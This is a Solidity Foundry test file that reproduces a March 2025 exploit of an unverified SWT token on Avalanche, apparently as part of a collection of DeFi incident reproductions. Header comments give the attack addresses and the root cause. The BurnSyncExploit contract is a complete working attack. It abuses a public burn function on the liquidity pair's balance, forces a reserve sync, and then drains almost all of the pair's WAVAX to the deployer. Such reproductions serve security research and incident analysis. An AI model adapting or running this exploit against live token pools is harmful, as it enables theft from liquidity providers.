src/test/2025-03/unverified_3f27_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 0.40 WAVAX
8// Attacker : 0x000000B2695002B00A7b8016f03c91284a22Ec05
9// Attack Contract : 0x92FE9F31E8C96e5C13E5f113FD6288d3a1514103
10// Vulnerable Contract : 0x3f274117f86808D7682BB313Fa31a1583c5028Aa
11// Attack Tx : https://snowtrace.io/tx/0xd9e0d9b45f6a77415d9ec9458ad5f5616ded362da0e0f19b8f41f2bc0afae4b5
12 
13// @Info
14// Vulnerable Contract Code : https://snowtrace.io/address/0x3f274117f86808D7682BB313Fa31a1583c5028Aa#code
15 
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/624
18//
19// Attack summary: The attacker deployed constructor code that wrapped 0.5 AVAX, bought 10 SWT from
20// the SWT/WAVAX pair, burned almost all SWT held by the pair, forced a reserve sync, then swapped the
21// 10 SWT back for nearly all pair-held WAVAX.
22// Root cause: The unverified SWT token exposed public burn(address,uint256) behavior that could be
23// applied to the liquidity pair balance before a normal pair sync, corrupting reserves and enabling a
24// WAVAX drain.
25 
26address constant ATTACKER = 0x000000B2695002B00A7b8016f03c91284a22Ec05;
27address constant ATTACK_CONTRACT = 0x92FE9F31E8C96e5C13E5f113FD6288d3a1514103;
28address constant VULNERABLE_CONTRACT = 0x3f274117f86808D7682BB313Fa31a1583c5028Aa;
29address constant SWT_WAVAX_PAIR = 0x823409261D7c74CcC63485f5488bDc25833Fc5CF;
30address constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
31 
32interface ISWT is IERC20 {
33    function burn(address from, uint256 amount) external;
34}
35 
36interface IUniswapV2PairWithSync is IUniswapV2Pair {
37    function sync() external;
38}
39 
40contract ContractTest is BaseTestWithBalanceLog {
41    ISWT private constant swt = ISWT(VULNERABLE_CONTRACT);
42    IWETH private constant wavax = IWETH(payable(WAVAX));
43    IUniswapV2PairWithSync private constant pair = IUniswapV2PairWithSync(SWT_WAVAX_PAIR);
44 
45    function setUp() public {
46        uint256 forkBlock = 58_875_928;
47        vm.createSelectFork("avalanche", forkBlock);
48        fundingToken = address(0);
49        attacker = ATTACKER;
50 
51        vm.label(ATTACKER, "Attacker");
52        vm.label(ATTACK_CONTRACT, "Attack Contract");
53        vm.label(VULNERABLE_CONTRACT, "SWT");
54        vm.label(SWT_WAVAX_PAIR, "SWT/WAVAX Pair");
55        vm.label(WAVAX, "WAVAX");
56    }
57 
58    function testExploit() public balanceLog {
59        uint256 seedAmount = 0.5 ether;
60        uint256 attackerBalanceBeforeFunding = ATTACKER.balance;
61        uint256 pairWavaxBefore = wavax.balanceOf(SWT_WAVAX_PAIR);
62 
63        // step 1: provide the same seed capital used by the attack transaction.
64        vm.deal(ATTACKER, seedAmount);
65 
66        // step 2: deploy the constructor-based exploit while tx.origin is the attacker.
67        vm.startPrank(ATTACKER, ATTACKER);
68        new BurnSyncExploit{value: seedAmount}();
69        vm.stopPrank();
70 
71        // step 3: prove the pair-held WAVAX reserve was drained to dust and the attacker kept profit.
72        uint256 pairWavaxAfter = wavax.balanceOf(SWT_WAVAX_PAIR);
73        uint256 attackerProfit = ATTACKER.balance - attackerBalanceBeforeFunding - seedAmount;
74        assertEq(pairWavaxAfter, 1);
75        assertGt(pairWavaxBefore, pairWavaxAfter);
76        assertGt(attackerProfit, 0.39 ether);
77    }
78}
79 
80contract BurnSyncExploit {
81    ISWT private constant swt = ISWT(VULNERABLE_CONTRACT);
82    IWETH private constant wavax = IWETH(payable(WAVAX));
83    IUniswapV2PairWithSync private constant pair = IUniswapV2PairWithSync(SWT_WAVAX_PAIR);
84 
85    constructor() payable {
86        require(tx.origin == ATTACKER, "b0");
87 
88        // step 1: convert the seed AVAX into pair input liquidity.
89        wavax.deposit{value: msg.value}();
90        wavax.transfer(SWT_WAVAX_PAIR, msg.value);
91 
92        // step 2: receive 10 SWT from the pair.
93        uint256 swtAmount = 10 ether;
94        pair.swap(swtAmount, 0, address(this), "");
95 
96        // step 3: burn the pair's SWT balance down to one unit and force reserve synchronization.
97        uint256 pairSwtBalance = swt.balanceOf(SWT_WAVAX_PAIR);
98        swt.burn(SWT_WAVAX_PAIR, pairSwtBalance - 1);
99        pair.sync();
100 
101        // step 4: return the SWT and drain all but one wei of the pair's WAVAX balance.
102        swt.transfer(SWT_WAVAX_PAIR, swtAmount);
103        uint256 wavaxOut = wavax.balanceOf(SWT_WAVAX_PAIR) - 1;
104        pair.swap(0, wavaxOut, address(this), "");
105 
106        // step 5: unwrap WAVAX and forward native AVAX to the deployer.
107        wavax.withdraw(wavax.balanceOf(address(this)));
108        require(address(this).balance > msg.value, "b1");
109        selfdestruct(payable(msg.sender));
110    }
111}